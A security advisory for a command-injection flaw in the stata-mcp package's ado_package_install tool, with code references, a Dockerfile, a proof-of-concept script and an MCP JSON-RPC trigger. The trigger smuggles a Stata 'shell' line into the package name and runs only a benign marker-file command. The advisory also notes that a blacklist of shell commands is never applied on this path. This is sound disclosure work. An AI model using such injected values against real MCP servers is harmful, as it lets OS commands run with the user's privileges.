MCP-for-Stata: Stata Command Injection via Unsanitized `package` in `ado_package_install`
GHSA-49m4-vp58-wgc9 · CVE-2026-55071 · PYSEC-2026-3700 · 갱신 2026. 8. 19.
영향 받는 패키지
| 생태계 | 패키지 | 수정 버전 |
|---|---|---|
| PyPI | stata-mcp | 1.19.0 |
GHSA-49m4-vp58-wgc9 · CVE-2026-55071 · PYSEC-2026-3700 · 갱신 2026. 8. 19.
| 생태계 | 패키지 | 수정 버전 |
|---|---|---|
| PyPI | stata-mcp | 1.19.0 |
src/stata_mcp/mcp_servers.py:626-632_TOOL_REGISTRYado_package_installallsrc/stata_mcp/cli/_handlers.py:295-300: when no --core/--all flag is given the profile defaults to all, so the tool is always enabled.src/stata_mcp/mcp_servers.py:308-349: the MCP argument package is passed to installer(...).install(*args) without validation.src/stata_mcp/stata/builtin_tools/ado_install/ssc_install.py:15: package is interpolated into install_command.src/stata_mcp/stata/stata_controller/controller.py:99: self.child.sendline(command) sends the attacker-influenced string to Stata.A guard/blacklist (src/stata_mcp/guard/blacklist.py:41-60) registers shell, !, winexec, unixcmd, and similar strings as dangerous commands, but the GuardValidator that enforces this list is invoked only on the stata_do path and is not called anywhere in the ado-install path, making the guard entirely ineffective against this attack.
Prerequisites
fake_stata.py) that honours the shell command.Container-based reproduction (no Stata license required)
# Build (run from the repository root)
docker build -t stata-mcp-poc-001 \
-f vuln-001/Dockerfile \
reports/pypiAi_828_SepineTam__stata-mcp/
# Run
docker run --rm stata-mcp-poc-001
Direct Python trigger (unmodified source)
import os
from stata_mcp.stata.builtin_tools.ado_install.ssc_install import SSC_Install
MARKER = "/tmp/stata_mcp_ado_poc"
PAYLOAD = f"outreg2\nshell touch {MARKER}\n//"
installer = SSC_Install("/usr/local/bin/stata", is_replace=True, timeout=10)
installer.install(PAYLOAD)
assert os.path.exists(MARKER), "RCE not confirmed"
print("RCE CONFIRMED — marker file created")
The payload "outreg2\nshell touch /tmp/stata_mcp_ado_poc\n//" is expanded by the f-string at ssc_install.py:15 into:
ssc install outreg2
shell touch /tmp/stata_mcp_ado_poc
//, replace
Stata executes the second line as an OS shell command. The trailing // comment neutralises the , replace suffix so Stata does not raise a syntax error.
MCP JSON-RPC trigger
{
"tool": "ado_package_install",
"arguments": {
"source": "ssc",
"package": "outreg2\nshell touch /tmp/stata_mcp_ado_poc\n//",
"is_replace": true
}
}
Expected output
[+] PASS - RCE CONFIRMED
[+] Marker file exists: /tmp/stata_mcp_ado_poc
[+] The injected Stata 'shell' command was executed by the REPL.
Phase 2 dynamic reproduction confirmed the marker file /tmp/stata_mcp_ado_poc was created inside the Docker container, and install() returned a string containing the injected command:
Installation State: False
ssc install outreg2\r\nshell touch /tmp/stata_mcp_ado_poc\r\n//, replace
This is a Code/Command Injection (RCE) vulnerability. Any principal who can call the ado_package_install MCP tool or the equivalent Python API — including an AI model or agent connected to the MCP server, a local script, or a remote HTTP client if the HTTP transport is exposed — can execute arbitrary OS commands with the privileges of the user running the Stata-MCP server.
Because the tool is registered in the default all profile and all is the default active profile, no misconfiguration by the victim is required. All users of stata-mcp on the affected version who run stata-mcp server are impacted.
Concrete consequences include: exfiltration of credentials and data accessible to the process, persistence via cron/startup entries, lateral movement within the local network, and complete compromise of the host user account.
Dockerfile# Dockerfile for VULN-001 dynamic reproduction
# Build context must be the parent directory:
# docker build -t stata-mcp-poc-001 -f vuln-001/Dockerfile .
#
# Vulnerability: Stata Command Injection via unsanitized `package` in
# SSC_Install.install() (ssc_install.py:15).
#
# Strategy: replace the real Stata binary with a minimal Python script
# (fake_stata.py) that honours the 'shell <cmd>' Stata command.
# The vulnerable stata-mcp code is installed unmodified from the repo.
FROM python:3.11-slim
# Install pexpect -- the only runtime dependency required by the PoC
# (StataController imports pexpect; all other imports are stdlib-only).
RUN pip install --no-cache-dir pexpect==4.9.0
# ------------------------------------------------------------------
# Fake Stata binary
# ------------------------------------------------------------------
# Placed at /usr/local/bin/stata so StataFinder (Linux) can auto-discover
# it and the PoC can reference it by absolute path.
COPY vuln-001/fake_stata.py /usr/local/bin/stata
RUN chmod +x /usr/local/bin/stata
# ------------------------------------------------------------------
# Vulnerable package (unmodified source)
# ------------------------------------------------------------------
COPY repo/src /workspace/src
ENV PYTHONPATH=/workspace/src
# ------------------------------------------------------------------
# PoC script
# ------------------------------------------------------------------
COPY vuln-001/poc.py /workspace/poc.py
WORKDIR /workspace
CMD ["python3", "/workspace/poc.py"]
poc.py#!/usr/bin/env python3
"""
PoC for VULN-001: Stata Command Injection via unsanitized `package` in
`ado_package_install` (SSC path).
Vulnerable code:
ssc_install.py:15
install_command = f"ssc install {package}{self.REPLACE_MESSAGE}"
controller.py:99
self.child.sendline(command)
Attack: embed a newline in `package` to inject an additional Stata command.
package = "outreg2\\nshell touch /tmp/stata_mcp_ado_poc\\n//"
The constructed command string becomes:
ssc install outreg2
shell touch /tmp/stata_mcp_ado_poc
//, replace
pexpect delivers this multi-line string verbatim to the Stata REPL via
sendline(), causing Stata to execute 'shell touch /tmp/stata_mcp_ado_poc',
which runs the OS command 'touch /tmp/stata_mcp_ado_poc'.
Marker file creation confirms RCE.
"""
import os
import sys
FAKE_STATA = "/usr/local/bin/stata"
MARKER_FILE = "/tmp/stata_mcp_ado_poc"
# Payload: legit package name, then injected shell command, then comment to
# neutralise the ", replace" suffix appended by REPLACE_MESSAGE.
PAYLOAD = f"outreg2\nshell touch {MARKER_FILE}\n//"
def main() -> int:
print("=" * 60)
print("VULN-001 PoC: Stata Command Injection via ado_package_install")
print("=" * 60)
print(f"[*] Fake Stata binary : {FAKE_STATA}")
print(f"[*] Marker file : {MARKER_FILE}")
print(f"[*] Payload (repr) : {PAYLOAD!r}")
print()
# Clean up any previous run.
if os.path.exists(MARKER_FILE):
os.remove(MARKER_FILE)
print(f"[*] Removed pre-existing marker file.")
# Import the vulnerable class directly -- no MCP or config layer needed.
# The vulnerability lives entirely in SSC_Install.install() and the
# StataController that sends the command to the Stata REPL.
from stata_mcp.stata.builtin_tools.ado_install.ssc_install import SSC_Install
print("[*] Instantiating SSC_Install with fake Stata binary...")
installer = SSC_Install(FAKE_STATA, is_replace=True, timeout=10)
print(f"[*] Calling install({PAYLOAD!r}) ...")
try:
result = installer.install(PAYLOAD)
print(f"[*] install() returned: {result[:200]!r}")
except Exception as exc:
# A RuntimeError from StataController is acceptable; the shell command
# may have already executed before the error is detected.
print(f"[!] install() raised (may be expected): {type(exc).__name__}: {exc}")
print()
# --- Verdict ---
if os.path.exists(MARKER_FILE):
print("[+] PASS - RCE CONFIRMED")
print(f"[+] Marker file exists: {MARKER_FILE}")
print("[+] The injected Stata 'shell' command was executed by the REPL.")
print("[+] Constructed command delivered via sendline():")
print("[+] ssc install outreg2")
print(f"[+] shell touch {MARKER_FILE} <-- OS command executed here")
print("[+] //")
return 0
else:
print("[-] FAIL - Marker file not found.")
print("[-] The injected shell command did not produce the expected artefact.")
return 1
if __name__ == "__main__":
sys.exit(main())